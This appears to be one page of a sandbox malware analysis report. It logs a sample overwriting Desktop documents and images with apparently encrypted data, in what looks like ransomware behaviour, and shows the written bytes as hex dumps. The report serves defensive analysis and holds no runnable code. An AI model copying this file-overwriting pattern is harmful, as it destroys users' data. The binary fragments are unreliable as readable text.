fd fd fd fd fd 12 fd fd fd fd 
2b 06 3c 4b 6a fd fd 30 
04 fd fd 72 20 57 fd 47 5e 
15 3a fd fd fd 72 fd fd fd 
00 fd 26 3e fd 69 fd 7c 68 
fd 6e 30 fd 65 6f fd 56 2a 
fd 3f fd 3a 4c 19 10 3f 4a 
14 69 fd fd 2a fd 2d 5f fd 
07 fd 1c 2b 0d 00 0c 

N'z-
T@.D8)C1dum.x1VWsX]
m+(#HkZ* 
CE86mVOEPmy>I.G?
ng7j+W"Lwe3[4hw3_0>+
<Kj0r WG^:r&>i|hn0eoV*
?:L?Ji*-_+

success or wait 1 4115FA WriteFile

C:\Users\user\Desktop\KZWFNRXY
KI.mp3

1282 40 4d 7a 43 4a 30 51 79 61 
6b 36 52 51 59 4b 69 77 
57 72 69 68 34 67 32 52 
47 4c 79 30 30 41 64 4e 
4a 59 37 62 7a 6e 41 38 

MzCJ0Qyak6RQYKiwWri
h4g2RGLy00A
dNJY7bznA8

success or wait 1 41164B WriteFile
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KI.mp3
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C:\Users\user\Desktop\LTKMYBSE
YZ.xlsx

5 1021 fd 34 fd fd fd fd fd fd 6e 
16 fd e2 45 10 17 fd 46 
0e fd 63 fd 3d 5b fd 41 68 
fd fd fd 16 6a d7 fd 68 fd 
4c fd fd 06 fd 43 81 67 fd 
79 45 fd 65 fd 34 10 fd 56 
fd 33 fd 6d fd 1d fd fd fd 
2c fd fd fd 1c e1 fd a5 fd 
fd 04 fd 0d fd 40 23 0c 38 
09 56 fd fd fd fd 94 1b fd 
fd 40 1e 4b f0 58 6c fd fd 
fd 0b fd e1 2d 43 42 4b cf 
fd fd 55 36 fd 2f fd fd 5d 
fd fd 56 fd 44 fd fd fd 0f fd 
fd fd fd 09 fd fd fd 25 2e 
41 fd fd fd fd fd 23 0a fd 
45 fd fd 6f fd 6f fd 7f fd fd 
23 fd 05 fd 64 fd fd 0f fd 
fd fd 34 01 0d fd 4e 34 6d 
fd 2c fd fd 1b fd 12 07 fd 
fd 72 72 51 fd 67 fd 47 fd 
4c fd 7a 7d 42 fd 08 3f 2d 
fd 1a fd 23 5c 53 18 fd fd 
fd fd fd 91 0a fd fd 51 55 
fd fd 56 fd 6d 12 60 fd 29 
fd 07 fd 31 43 6d 06 fd fd 
fd 38 23 58 

4nEFc=
[AhjhLgyEe4V3m,@#8V
@KXl-
CBKU6/]VD%.A#Eoo#d4
Nm,rrQgGLz}B?-
#\SQUV`)1Cm8#X

success or wait 1 411859 WriteFile

C:\Users\user\Desktop\LTKMYBSE
YZ.xlsx

1026 256 31 fd 74 20 fd fd 1d 23 fa 
3f 3a fd 56 42 2f fd 3a 0a 
79 4b fd fd fd 7e 99 33 2f 
3d fd 49 fd 3a 65 fd 05 fd 
fd 70 fd 45 61 fd fd 48 fd 
57 fd 50 fd 55 21 06 fd 3c 
3f 27 fd 0f 05 fd fd 9c fd 
02 2c 46 fd 31 35 fd 2e 
23 7c fd fd 58 fd fd fd fd fd 
1a 1b 5c fd fd 17 ac 41 64 
0a fd 3b 24 15 3a fd 3f fd 
76 2f 2e 7f fd 58 fd fd fd 
fd fd 2a 4a fd 79 fd fd 20 
fd 7c fd 48 fd 9a 4f fd 58 
fd fd 53 67 fd fd fd e0 fd 
fd 4c 65 fd fd fd 03 57 ab 
fd fd fd fd 35 fd 30 fd 05 
39 0a fd fd 18 fd fd 55 7f 
5b 41 0d fd fd fd fd f6 fd 
fd fd fd 3b fd fd 3a fd 13 
fd 52 fd fd 57 15 fd 14 4c 
fd fd 1f 09 fd fd 04 2e fd 
5d 6e fd fd 7b fd fd 39 fd 
10 fd 58 fd fd 21 69 fd 48 
fd fd 28 fd 6f fd 54 c8 fd 
2f 5b fd 71 fd fd 66 0d fd 
fd 

1 
#?:VB/:yK~3/=IepEaHWP
U!<?',F15.#|X\Ad;$:?
v/.X*Jy|HOXSeW509
U[A;:RWL.]n{9X!iH(oT/[qf

success or wait 1 4115FA WriteFile

C:\Users\user\Desktop\LTKMYBSE
YZ.xlsx

1282 40 4d 7a 43 4a 30 51 79 61 
6b 36 52 51 59 4b 69 77 
57 72 69 68 34 67 32 52 
47 4c 79 30 30 41 64 4e 
4a 59 37 62 7a 6e 41 38 

MzCJ0Qyak6RQYKiwWri
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dNJY7bznA8
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C:\Users\user\Desktop\MXPXCVPD
VN.mp3

5 1021 7d 40 5d 29 fd 68 65 fd fd 
66 0f 13 fd fd fd 74 07 fd 
2a 15 fd 42 fd 4c 0f fd 2a 
fd 02 67 61 28 2b fd 63 fd 
59 fd 13 fd 3f 11 39 70 fd 
fd 1c fd 7e fd fd fd 17 fd 
fd fd fd 1f 49 0d fd 3b 41 
a4 fd 03 fd 3f 37 fd fd 4c 
fd fd 6b 5a 04 fd fd fd fd 
fd 08 fd 5a 4b 7f 2e fd 44 
2c 0a 2e fd fd 1a fd fd fd 
fd 62 52 3b fd fd fd 39 12 
fd fd 7a fd 23 fd fd 7e fd 
69 02 fd fd fd 10 fd 6a 37 
ac fd 75 2f fd 46 2a fd 15 
fd 49 fd fd fd 0f fd 19 0b 
fd fd 33 fd 6e 59 fd 4e fd 
fd 66 fd fd 3d fd 64 39 fd 
fd 17 3b 64 fd fd 20 6c fd 
fd fd 6e fd fd 4b 34 fd fd 
fd fd fd 2a 0a fd 55 87 fd 
27 56 fd 64 fd 1b 3d fd fd 
58 fd fd 73 3c 64 06 02 fd 
56 fd 02 5b fd fd fd 5c 55 
fd 08 29 24 1f 29 fd 0c 4e 
fd 06 fd 7a 2b fd fd fd fd 
fd fd 12 39 4c fd fd 32 fd 
65 

}@])heft*BL*ga+cY?
9p~I;A?7LkZZ
K.D,.bR9z#~ij7u/F*I3nYN
f=d9;d 
lnK4*U'Vd=Xs<dV[\U)$)N
z+9L2e

success or wait 1 411859 WriteFile

C:\Users\user\Desktop\MXPXCVPD
VN.mp3

1026 256 48 78 05 98 19 61 33 fd 
fd 06 fd 42 07 29 31 13 0f 
fd 62 2b fd 79 6b fd 38 fd 
78 fd fd 58 fd 24 fd 23 fd 
fd fd fd 24 fd fd 01 0f fd fd 
26 fd 72 fd 53 69 17 74 fd 
24 fd fd 05 fd 4d fd 37 fd 
25 fd 6b fd 1f 6c 38 fd 0c 
43 fd 46 40 52 6c 6c 19 
3a fd 09 fd fd 1a fd 51 fd 
70 4f 13 0d fd 10 54 fd 08 
75 0c fd 57 fd fd 0a fd fd 
4f 52 fd 29 63 09 78 1a fd 
fd fd fd fd 09 fd 00 5b 76 
fd 21 77 fd 4c 2e 7c 7a fd 
fd 78 fd fd 3c 58 fd 1d 28 
fd fd fd fd 4a fd 51 fd fd 
24 fd fd 72 57 35 fd fd fd 
fd 3c 05 6f fd 75 4e 51 76 
fd 6f fd fd fd 13 fd 40 fd 
3a fd fd fd 5c 5a 72 fd fd 
fd fd 15 fd 2f fd fd fd 6d fd 
05 fd fd 7d fd 6c fd 15 fd 
fd 2a 39 44 fd 47 fd 38 fd 
fd 14 47 fd cb 73 fd 78 fd 
fd 27 28 fd fd 12 4e fd 44 
12 32 fd fd 24 30 fd 18 fd 

Hxa3B)1b+yk8xX$#$&rSi
t$M7%kl8C
F@Rll:QTuOR)cx[v!wL.|z
x<X(JQ$r
5<ouNQv@:\Zr/m}l*9DG8
Gsx'(ND2$0

success or wait 1 4115FA WriteFile

C:\Users\user\Desktop\MXPXCVPD
VN.mp3

1282 40 4d 7a 43 4a 30 51 79 61 
6b 36 52 51 59 4b 69 77 
57 72 69 68 34 67 32 52 
47 4c 79 30 30 41 64 4e 
4a 59 37 62 7a 6e 41 38 

MzCJ0Qyak6RQYKiwWri
h4g2RGLy00A
dNJY7bznA8

success or wait 1 41164B WriteFile

C:\Users\user\Desktop\MXPXCVPD
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C:\Users\user\Desktop\NIKHQAIQ
AU.jpg

5 1021 fd fd 33 a2 fd cc 52 48 fd 
48 e2 7d fd fd fd 6d fd 00 
73 fd fd 57 fd fd 2c 0e 5b 
33 28 fd fd 00 20 fd 26 fd 
fd fd 74 fd 1c 21 36 fd fd 
3f fd 04 fd 17 4b 13 1f 19 
fd fd fd 53 fd fd 2d fd fd 
01 78 fd 42 60 14 30 0a 
55 02 fd fd 58 95 36 0a fd 
21 fd fd fd 2e fd 5c 34 fd 
6e 07 28 fd 4f fd 00 3a fd 
37 17 fd fd 7f fd 79 73 a0 
45 fd fd 09 fd 74 fd 22 fd 
fd fd fd 2a 58 24 15 fd fd 
fd 36 0a fd 12 7a fd 47 fd 
67 fd 77 fd fd 75 fd 7a 5e 
58 6b 39 fd 75 fd 2a 14 
22 fd 19 c7 fd e3 0f 42 fd 
17 45 fd 14 06 4f 53 fd 79 
4d 4a 68 fd 50 11 14 fd 
7c fd 57 03 fd fd fd 50 35 
fd fd 11 1f 56 09 76 fd fd 
46 fd fd 32 78 fd 17 7a 3e 
32 69 52 47 57 fd 77 fd fd 
fd 50 fd 60 2d 4c 4d 6d 
34 1d 5a 75 fd 33 b3 09 
fd 4b 04 fd fd fd 09 

3RHHmsW,[3( &t!6KS-
xB`0UX6!.\4
n(O:7ysEt"*X$6zGgwuz^
Xk9u*"BEO
SyMJhP|WP5VvF2xz>2i
RGWwP`-LMm4Zu3K

success or wait 1 411859 WriteFile

C:\Users\user\Desktop\NIKHQAIQ
AU.jpg

1026 256 fd 7d 52 00 08 fd 71 52 
3d 0e 59 76 5e 47 fd fd 
14 4f fd 06 6f fd fd fd fd 
59 fd 59 60 39 70 fd 7e fd 
fd 27 fd 2b 7b fd fd fd fd 
fd 1b 56 fd fd fd 3c df 40 
fd fd fd 2e fd 79 fd fd 7b 
4d 25 46 66 fd 6a 39 6e 
75 6f 40 16 62 fd 06 fd 28 
fd 03 fd fd 28 fd fd dc 2c 
22 06 6d fd 22 fd 0e 25 fd 
fd fd 3b fd 2a 6f fd 7d 7d 
5e 2a fd 76 0c 61 34 fd 
61 37 33 fd 09 15 fd fd 26 
fd 0a fd fd fd fd 2a fd fd fd 
18 fd fd fd fd fd 7a 74 fd 
fd ca 6f 6e 0e fd 1d 24 fd 
fd fd 3d 16 5e 3f fd fd 7c 
fd 35 fd 75 38 fd 45 11 0e 
5f 6d 91 fd fd 7b fd 61 3d 
fd 67 52 fd 38 fd 27 72 fd 
7d 23 48 51 fd 50 4b 48 
fd 32 42 4f fd 7b fd fd fd 
5e 39 fd fd fd 69 fd 5c fd 
fd 58 30 fd 58 37 6d 0b fd 
18 fd fd 5b 6e 54 63 2b 
29 fd 70 19 fd 39 fd 80 0c 
37 fd fd fd fd fd 16 fd fd 
5d 

}RqR=Yv^GOoYY`9p~'+
{V<@.y{M%Ff
j9nuo@b((,"m"%;*o}}^*va
4a73&*zton$=^?
|5u8E_m{a=gR8'r}#HQPK
H2
BO{^9i\X0X7m[nTc+p97]

success or wait 1 4115FA WriteFile

C:\Users\user\Desktop\NIKHQAIQ
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1282 40 4d 7a 43 4a 30 51 79 61 
6b 36 52 51 59 4b 69 77 
57 72 69 68 34 67 32 52 
47 4c 79 30 30 41 64 4e 
4a 59 37 62 7a 6e 41 38 

MzCJ0Qyak6RQYKiwWri
h4g2RGLy00A
dNJY7bznA8

success or wait 1 41164B WriteFile
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C:\Users\user\Desktop\NWTVCDUM
OB.docx

5 1021 fd fd 79 fd fd 07 33 fd 63 
fd 4e fd 63 0a fd a0 fd 0c 
fd 38 45 fd 4f fd 39 35 fd 
65 fd 56 36 26 71 fd 39 fd 
44 fd fd 4d 1b fd fd 44 fd 
5e 33 5b 3d fd 27 78 fd 
22 6a 18 fd 40 fd fd fd 49 
f5 00 fd 1e fd fd fd fd 44 
fd 3e 6a fd fd 74 56 fd 4f 
54 fd fd fd fd 52 fd fd 10 fd 
fd fd 72 fd 07 fd 19 b9 fd 
fd 00 fd 21 fd 66 70 fd fd 
55 fd 40 fd fd 5f 73 3e 57 
4f 08 fd fd 4f 1f 67 7e 59 
fd 55 48 14 61 fd 4f fd fd 
fd 29 08 fd fd 03 66 58 17 
5e fd 41 fd 49 12 fd 39 fd 
fd 56 06 fd 14 fd 6f 19 fd 
11 20 7e fd 66 30 fd fd 07 
53 fd fd fd 6e fd 2f 09 fd 
fd fd 73 fd fd 3a 12 fd 2a 
fd 3f 23 7b fd fd 07 76 7e 
00 3c 3e 65 6a fd 2d fd fd 
fd 6e 6f fd fd fd 06 6d 1c 
50 65 9a fd 07 51 fd fd 76 
67 6f 31 6e 7b fd 27 4c 2f 
61 fd 
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79 fd 19 fd 0e fd 77 38 fd 
fd 4f 3e 30 3f 61 05 25 fd 
fd 46 43 fd fd 5f 1d fd fd 
12 60 fd fd fd 16 04 fd fd 
77 52 52 fd 2c 55 00 fd fd 
30 00 56 0f fd 5d 04 14 
5a fd 54 06 fd fd fd fd 4a 
32 63 40 fd 06 fd 9b 2f 65 
29 2a fd fd fd fd 07 41 fd 
09 fd 47 57 fd 30 56 54 
23 0b fd 55 fd 2a 66 45 fd 
7e 1f 28 20 fd fd 87 fd fd 
6b fd 21 fd fd 1e 41 79 41 
fd 79 1f 47 1a 68 52 fd 77 
0e fd fd 45 fd 27 63 1a 3e 
69 fd 71 fd fd fd 74 18 28 
fd fd 6b fd 5d fd fd 0c fd 
fd fd fd fd 7e fd fd fd 39 
00 fd fd 27 19 3f 0d 09 54 
fd 1c fd 57 fd 52 fd 6f 3c 
1e 1a fd fd fd 5a c2 5c 66 
50 2a fd fd 0c 3d fd 39 fd 
fd 50 15 fd 3c 33 fd 33 3d 
fd 3d 1a a1 6a fd fd 76 
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C:\Users\user\Desktop\NWTVCDUM
OB.pdf

5 1021 fd 66 46 14 fd 27 56 fd 32 
3e fd 65 fd fd 17 02 fd fd 
fd 4c fd 38 fd 64 fd fd fd 
fd fd fd fd fd 18 0d 36 fd 
7b fd 1f 2f fd 85 fd fd 18 
fd 08 c5 fd 5f fd 4a 71 fd 
2a 5e 1b 2b 3d fd fd 49 
61 56 19 fd 39 fd 19 fd 6a 
fd fd 6c 68 2f fd fd fd 65 
fd 65 fd fd 75 fd 3c 0e fd 
07 19 6e 3a fd fd fd fd fd 
fd fd fd 74 fd fd 40 2f fd 
20 61 3d 69 fd 19 66 57 
fd 66 2c 4d fd 4c 78 2b fd 
fd fd 5b fd 0a 47 37 fd 1f 
64 22 07 fd 2f fd fd 00 fd 
63 20 fd fd 2c 70 7a fd fd 
20 08 fd fd 0b 7a fd 71 4e 
fd fd fd fd fd 02 57 fd 1d 
7a fd 01 fd 4d 27 7e fd fd 
76 53 fd 48 10 4e 75 3c 
fd fd fd fd 68 18 fd fd 29 
a4 fd 78 7d fd fd fd fd 65 
14 07 fd fd 60 12 fd fd fd 
5c fd fd fd 4d fd fd 19 fd fd 
0e 57 44 fd 2d fd 44 1d 
70 fd 40 fd 2d 28 fd 05 50 
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66 55 fd fd fd fd 2b 7e 0e 
fd 0b 1a fd 18 fd 6c fd fd 
50 fd 3e 22 34 fd 7c 65 
53 fd fd 65 fd fd 73 07 fd 
fd fd fd 7a fd 3c fd 45 4e 
4b 7b 2f fd fd 68 fd 37 2d 
fd fd 17 fd 0b fd 4e fd 0b 
22 19 64 49 fd fd fd fd fd 
c7 fd fd 2a 57 fd fd 28 38 
fd 50 fd 42 5e fd 4a fd 54 
19 42 fd fd 58 79 fd fd fd 
3d e2 fd fd 22 7a fd fd fd 
0c fd fd fd 7f 68 32 d1 64 
68 fd fd 5e 60 fd fd 78 fd 
28 fd fd 66 fd fd fd 3e fd 6f 
fd 0b 5b 0a fd fd 24 6f ff 
08 fd 5b 02 77 fd fd fd fd 
19 fd 79 3f fd fd fd 06 fd 
fd fd fd 11 5e fd fd fd 12 
1e 0f fd ad fd 51 65 09 63 
fd 56 45 fd 3d 64 fd fd fd 
fd 49 42 fd fd 6b 4a 3a 34 
fd 7c 7d ed fd fd 34 2c 54 
06 fd 64 fd fd fd d5 fd fd 
fd 36 fd 
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C:\Users\user\Desktop\RAYHIWGK
DI.png

5 1021 0f 09 0e fd fd 43 30 fd 2c 
64 33 38 fd 7d 25 fd fd fd 
7f 23 1c 4f 0b 3d 1f 21 4f 
fd fd fd 37 34 52 18 fd 77 
fd 15 fd fd 17 fd 5b 49 fd 
4c fd 1d 4a 24 46 fd fd fd 
fd 60 0a fd 4f 39 fd 08 28 
38 1b fd 06 61 fd 19 3f 40 
18 0d ea 7d 5c 36 5b 34 
48 49 fd fd 0a 65 07 79 
4e fd 02 fd fd fd 7e 5e 42 
fd 3e fd 14 fd d5 59 fd 33 
33 7b fd 72 fd fd fd 4a fd 
2d 23 63 fd fd 47 0e 06 2f 
fd 3a fd 2d 31 4c 7a fd fd 
fd 1a fd fd fd fd 4f 17 0f fd 
fd 3a 72 40 fd 0a fd 12 29 
49 fd fd 2e fd 1a fd 3a fd 
fd fd fd 23 fd fd fd 27 fd fd 
3e 6b 74 e0 20 69 3f 48 
fd 7a 5c 32 fd 33 fd 2a 4f 
88 fd 74 ea fd fd fd 22 fd 
fd 5d 20 52 fd fd 47 36 35 
fd 5d 07 b9 fd fd 69 28 46 
fd 40 fd fd fd 80 73 fd 70 
fd 33 20 fd fd 6b fd 21 23 
37 fd fd 3c 1f fd fd 1c 6b 

C0,d38}%#O=!O4Rw[ILJ
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5e fd 67 fd 69 10 70 fd 70 
fd fd fd fd fd 35 fd fd fd 56 
fd fd fd db fd 58 fd fd 21 
68 fd fd 69 fd fd 5e fd fd 
55 fd fd fd 45 63 50 fd 32 
08 fd 5c fd fd 03 fd 40 fd 
61 fd fd 43 fd 1c fd 06 56 
60 0a 6f fd fd fd 3f 30 fd 
fd 19 fd 6e fd fd fd fd 00 
fd fd 38 fd fd 57 fd 71 fd 
06 13 49 2c 4d fd fd 15 5f 
fd 10 fd 75 fd fd fd 21 fd 
fd fd 23 61 fd 13 fd 18 fd 
34 e1 00 fd 2a fd 0a fd fd 
02 fd fd 13 fd fd 1b fd fd 
09 03 fd 72 fd 70 03 fd 3c 
fd 4c 28 69 6e 1c fd 24 fd 
fd 0c fd fd 0b 96 fd fd fd 
fd fd 6b fd fd 7e 25 fd fd 
fd 07 45 fd 1d 7d fd 45 fd 
7e 64 05 19 68 fd 5b fd fd 
45 55 fd fd fd fd 4f fd 15 
41 fd fd 50 08 0c 65 fd fd 
79 1c fd 57 fd 
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C:\Users\user\Desktop\VAMYDFPU
ND.png

5 1021 46 32 fd fd fd fd fd fd 1f fd 
3b fd 54 15 0b 43 03 43 
0b 79 52 fd 49 fd 22 4b fd 
fd 1f 52 fd fd 67 fd 26 01 
fd fd 45 52 fd fd fd 66 7c 
fd 42 fd 4b fd fd 02 39 fd 
fd 00 4f 8e 17 6c 4e 07 
53 fd 1f fd 20 7d 57 fd 29 
14 fd 58 2b 26 fd 06 fd 10 
77 65 16 79 6d fd 90 fd 
04 fd fd 68 1f 53 fd fd 63 
21 06 fd fd 13 42 fd 01 5c 
0c fd fd 6a 14 fd 1c fd fd 
fd 0c 75 b8 30 f6 0a fd 1f 
14 6a fd 08 2d fd fd fd 0e 
fd 20 fd fd 30 fd fd 73 7e 
fd fd fd 30 fd 22 fd 3f fd fd 
76 fd fd fd 5f fd fd fd 1a fd 
4d fd fd 0a fd 31 69 fd 0a 
6d fd fd fd fd a3 01 24 fd 
fd 3d 71 5a 23 76 fd 2a 
a3 6a 1c fd fd 13 fd fd fd 
24 fd fd 36 09 60 fd fd 38 
20 fd fd fd fd 11 fd 23 1e 
74 fd fd 5a 78 6f 02 fd 67 
1f fd 5a fd fd 77 fd fd 30 
2a fd fd 67 30 02 4d fd fd 
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27 64 fd fd 2f 43 47 fd 24 
13 2e fd 3e fd 69 fd 52 fd 
fd fd 3a fd fd 36 2f fd 7e 
2b fd fd f1 08 67 08 fd fd 
67 19 fd 3b fd 1f 3a 4b 01 
51 3c fd fd 1c fd fd 52 fd 
06 12 28 4d 6f 34 fd fd 4b 
03 fd fd 39 7e fd aa 46 1b 
fd fd 5d fd fd fd 4f fd 46 fd 
b8 fd fd fd fd fd fd fd 6f fd 
fd 46 4c 73 fd fd 25 fd fd 
fd 7f 35 fd fd 46 5e 5f 77 
fd 26 fd fd fd 71 fd fd 45 
fd 61 29 41 fd fd 1f fd fd 
fd 72 fd 11 1f 0a 25 43 fd 
fd 22 07 fd fd fd 18 fd 5d 
fd fd fd fd fd 1b fd 3b 41 
fd 17 af 77 fd fd 28 fd 16 
61 6c 7b 56 fd 74 1c 4c 
7e fd 19 fd 0c 41 1b 5c 37 
78 fd fd fd 7a 27 fd 5b fd 
4f fd b0 6e 1f fd fd 38 fd 
fd fd 1d 39 60 fd 26 fd fd 
3c fd fd 2f fd 76 fd 3f fd fd 
fd 12 fd fd 58 20 fd fd fd 
fd fd 

'd/CG$.>iR:6/~+gg;:K<R(
M4K9~F]
OFoFLs%5F^_w&qEa)Ar
%C"];Aw(al{
VtL~A\7xz'[On89`&</v?X 

success or wait 1 4115FA WriteFile

C:\Users\user\Desktop\VAMYDFPU
ND.png

1282 40 4d 7a 43 4a 30 51 79 61 
6b 36 52 51 59 4b 69 77 
57 72 69 68 34 67 32 52 
47 4c 79 30 30 41 64 4e 
4a 59 37 62 7a 6e 41 38 

MzCJ0Qyak6RQYKiwWri
h4g2RGLy00A
dNJY7bznA8

success or wait 1 41164B WriteFile

C:\Users\user\Desktop\VAMYDFPU
ND.png

1322 38 7b 33 36 41 36 39 38 42 
39 2d 44 36 37 43 2d 34 
45 30 37 2d 42 45 38 32 
2d 30 45 43 35 42 31 34 
42 34 44 46 35 7d 

{36A698B9-D67C-4E07-
BE82-0EC5B14B4DF5}

success or wait 1 41167E WriteFile

File Path Offset Length Value Ascii Completion Count Source Address Symbol

Copyright Joe Security LLC 2022 Page 99 of 219



C:\Users\user\Desktop\WUTJSCBC
FX.docx

5 1021 1b 57 5c 1d 44 fd fd 3c 08 
1b 41 b6 fd 04 27 01 ee 
fd 4a fd fd 13 fd 6b 7e 90 
3a fd 4b 16 4d fd fd 65 67 
cf 10 fd 78 fd fd fd 7b 29 
08 fd fd ec 59 14 fd 52 2b 
6c 5b fd fd 4b 50 2d fd 1d 
fd 60 fd 61 00 fd fd 21 33 
71 04 fd 3c 18 07 24 fd 
67 70 fd 34 19 fd 56 72 
72 7c 4c fd 6e 11 7e fd 
19 22 fd 76 46 06 18 fd 7f 
fd 49 fd 33 22 fd fd fd 74 
fd fd 06 14 55 fd 2a fd fd 
fd fd 16 fd 6d fd fd fd fd fd 
fd 63 3a 68 fd 6e fd 2e 11 
15 fd fd 52 26 48 1e 2d fd 
fd fd fd fd fd fd 0c 04 fd 62 
54 3e 35 0b 70 fd fd 77 
01 fd fd fd 13 41 71 26 4f 
16 fd 79 fd fd fd 2e fd fd 
fd 71 5a fd 12 fd 5f 23 47 
fd 78 fd 21 fd 17 fd fd fd 
fd fd 60 78 fd 5d 32 3e fd 
40 fd 2f 05 fd 6b fd fd fd 
7a 35 50 54 32 fd fd 7c 
08 fd 6b 54 47 fd 1f 4c 49 
65 32 fd fd 54 fd 

W\D<A'Jk~:KMegx{)YR+l
[KP-`a!3q
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40 4d fd fd fd fd fd fd 08 fd 
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fd fd fd fd 34 fd 7a fd 62 
fd 62 24 63 07 52 3a 52 
6d fd fd fd 7f 32 0e fd 73 
73 4d 2f fd 62 fd 1e 35 fd 
14 fd fd 66 fd fd fd 63 fd 
14 fd 1b fd 60 fd fd 54 81 
fd 1e 46 66 fd 43 40 1f 11 
fd fd 20 75 fd 06 fd 26 40 
fd 30 1d e6 fd 6b fd 23 fd 
4a 13 29 fd fd 24 fd 7f 55 
16 fd fd 26 3d 13 fd 0a 07 
fd 38 4d fd 4b 23 28 fd fd 
fd 55 fd fd 67 4d 5f 18 fd 
05 61 54 fd fd fd 33 46 45 
68 6c 38 fd b9 fd 4f 7e 77 
fd fd fd 48 db fd 76 11 fd 
21 3d fd 1f 42 fd fd fd fd 
60 34 59 06 fd 5b fd 0f 78 
4d fd fd fd fd 2f 5a fd 1d 
fd 56 ac 1b fd fd 19 fd 24 
fd 71 59 fd fd 68 fd fd 0e 
fd 37 42 60 13 fd 3f fd 7a 
6f fd fd fd 60 fd 4b 2a 4f 
64 55 69 fd 4b 3e fd 

L>p@MWK!
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C:\Users\user\Desktop\WUTJSCBC
FX.jpg

5 1021 50 fd 5e 24 fd 4e 79 fd fd 
fd 6d fd 78 fd 55 fd 5f fd 
04 1c fd 65 78 fd fd 3b fd 
09 5b fd 39 fd fd 39 59 fd 
fd 05 fd 78 52 fd fd 2b 55 
fd 46 70 3d 31 49 63 60 
68 13 fd 04 67 fd 60 18 
02 6e 59 fd fd 61 3d 49 
19 fd 35 53 0e 5d 26 fd fd 
fd 12 7b 27 fd 73 fd fd fd 
38 fd 1c fd fd fd fd 21 03 
20 54 4c fd fd 4a fd 48 fd 
51 fd 2e fd 31 fd 45 fd fd 
04 fd fd fd 2f fd 78 4f fd fd 
6f fd 6d fd fd 51 fd 59 2d 
fd fd 63 fd fd 3f 68 fd 0f fd 
fd 57 fd 15 fd 42 fd fd fd 
67 26 54 57 dc fd 48 fd 3f 
fd fd 3b fd 19 01 fd fd 69 
4a 4e 3a fd 65 02 49 07 
5d 66 3e 08 39 fd 3d fd fd 
fd 25 fd 46 fd fd 21 fd 17 
fd fd fd 2d 6f 47 79 70 25 
18 fd fd 23 67 cc fd fd 45 
1e fd fd 2a fd 2f 5b 07 3d 
39 fd 2d 70 12 68 fd 36 fd 
fd 12 fd 5f 20 fd fd 23 fd 
fd 38 67 0b 0b fd 2c 

P^NymxU_ex;
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0b 24 fd 65 12 7e 2e 63 
fd fd fd 6a 66 fd fd fd 7e 
0e 2a fd fd fd 3c 69 1e fd 
5f d1 fd 6f 2b 08 6a 13 fd 
70 1b fd 3b 42 fd 57 fd 44 
31 fd fd fd 4a a8 fd 18 fd 
fd fd fd 27 3d fd 56 fd 57 
29 fd fd fd fd fd fd fd fd fd 
5f fd 32 5d fd 33 27 7b 13 
67 22 a4 fd fd fd 42 68 5c 
fd c3 15 fd bb 3a 52 fd 3e 
fd 5b 65 fd 20 3b 4c 3f 48 
4d fd fd 7d fd 18 fd 25 34 
fd fd fd fd 29 6d fd fd 12 
12 fd fd fd fd 54 fd fd 32 
08 7b fd 3a fd 30 fd 66 fd 
0c fd 56 70 2f fd 64 02 3c 
1e 50 4c 68 0d fd 5f fd fd 
fd fd 35 fd fd fd 63 69 fd 
64 fd fd 60 11 d6 fd fd 3b 
fd 1d fd fd 18 fd 28 67 64 
fd 4b 25 fd 3b fd fd fd fd 
fd fd fd 3e 1b fd 15 fd 1d 
49 fd 09 fd fd 0b 0a fd 38 
09 0c 6c 72 17 3d 13 fd fd 
fd 06 

W<9hNj$e~.cjf~*_o+jp;B
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C:\Users\user\Desktop\YPSIACHY
XW.png

5 1021 fd 6a fd 29 3e fd 74 38 fd 
fd 09 fd 78 fd 6c 5f fd fd fd 
48 fd 41 27 7b fd 67 60 fd 
13 79 64 fd 41 09 05 34 
ab 5c 68 fd fd fd 59 fd fd 
04 6b fd 22 fd 7d 3f 82 5e 
07 fd 53 fd 61 35 fb fd 74 
1e fd 4d 57 fd fd 53 ee 14 
fd 59 fd 4a 4c 5a 1e 67 fd 
0a 21 77 43 37 2d 37 68 
5e fd 31 fd fd 37 fd 28 fd 
00 fd fd 31 fd 04 46 23 fd 
5c fd fd 44 fd 6c 55 fd fd 
59 fd 41 fd 43 fd fd fd 53 
fd fd fd 26 1c fd 5f fd 6f 
68 79 fd 56 fd fd fd 6f 3f 
fd 08 fd 6e 65 fd 56 79 fd 
70 fd fd 39 70 31 fd 5c 30 
54 07 fd b8 fd fd fd fd 20 
ed 5c 60 fd 2f fd fd f5 51 
fd 3b fd 08 fd 25 46 47 07 
93 00 53 fd fd fd fd 0f fd 
12 43 0f fd 4f fd fd 76 85 
16 fd fd 2d 04 0f 02 fd 12 
fd 75 05 54 56 fd fd fd 52 
fd fd 7a 27 04 fd 7b fd 79 
6e 
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1026 256 24 fd 0f 25 11 4b fd fd fd 
79 28 fd fd fd 7b 48 4a fd 
fd 1d fd fd 5d 32 fd 58 11 
70 fd 56 66 fd fd 59 5c fd 
03 fd f9 04 fd 37 01 fd 2e 
0a fd fd 6c fd 38 fd 47 fd 
06 fd 1b 23 fd 05 fd 3a 42 
fd bb 18 42 37 1b fd fd fd 
79 fd fd 1c 6d 1c 68 78 38 
fd 33 fd 41 39 fd fd 0d fd 
fd 08 fd 36 0b 07 78 03 
4d 6c 32 4c 56 fd fd 68 fd 
25 01 59 fd 0a fd fd 25 fd 
19 fd 5a fd 36 fd 4a 19 08 
36 42 0e fd 6e 3f 50 25 
7c 39 0b 6f fd fd fd 67 41 
fd 32 72 21 6e 2c fd fd 5b 
fd 70 fd 4e 7c fd fd 2a 6d 
34 fd fd 7f 0e fd fd 1b 00 
77 fd 52 5d fd 24 44 4e 
1e 38 33 fd 7c 61 6a fd fd 
61 4f fd 5d 5b fd 12 76 fd 
fd 42 3e 2f 4b 0d fd 3b fd 
6c fd fd 22 fd 05 fd 51 17 
fd 3b 0a 43 fd 00 29 64 
53 fd fd 58 41 42 19 fd fd 
24 04 fd fd fd 38 5e fd 6f 
fd 20 04 34 fd 65 
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C:\Users\user\Desktop\YPSIACHY
XW.xlsx

5 1021 fd fd 22 fd 10 fd fd fd 1a 
5d 67 fd 7f 54 fd 7a 26 1d 
6e fd fd fd 1d fd fd 56 fd 
fd fd 34 fd fd fd fd fd d2 
35 fd fd 6b 5c 2d 3b fd 3a 
fd fd 41 fd fd fd fd 27 fd fd 
64 fd 09 35 59 fd 64 fd 14 
4b fd fd 44 19 fd 0f 58 fd 
01 77 38 fd 66 fd 52 0a fd 
fd fd fd f8 fd fd 6b fd 4b fd 
fd 42 0e fd fd 71 fd fd 3a 
fd fd fd 6d fd 00 11 50 7d 
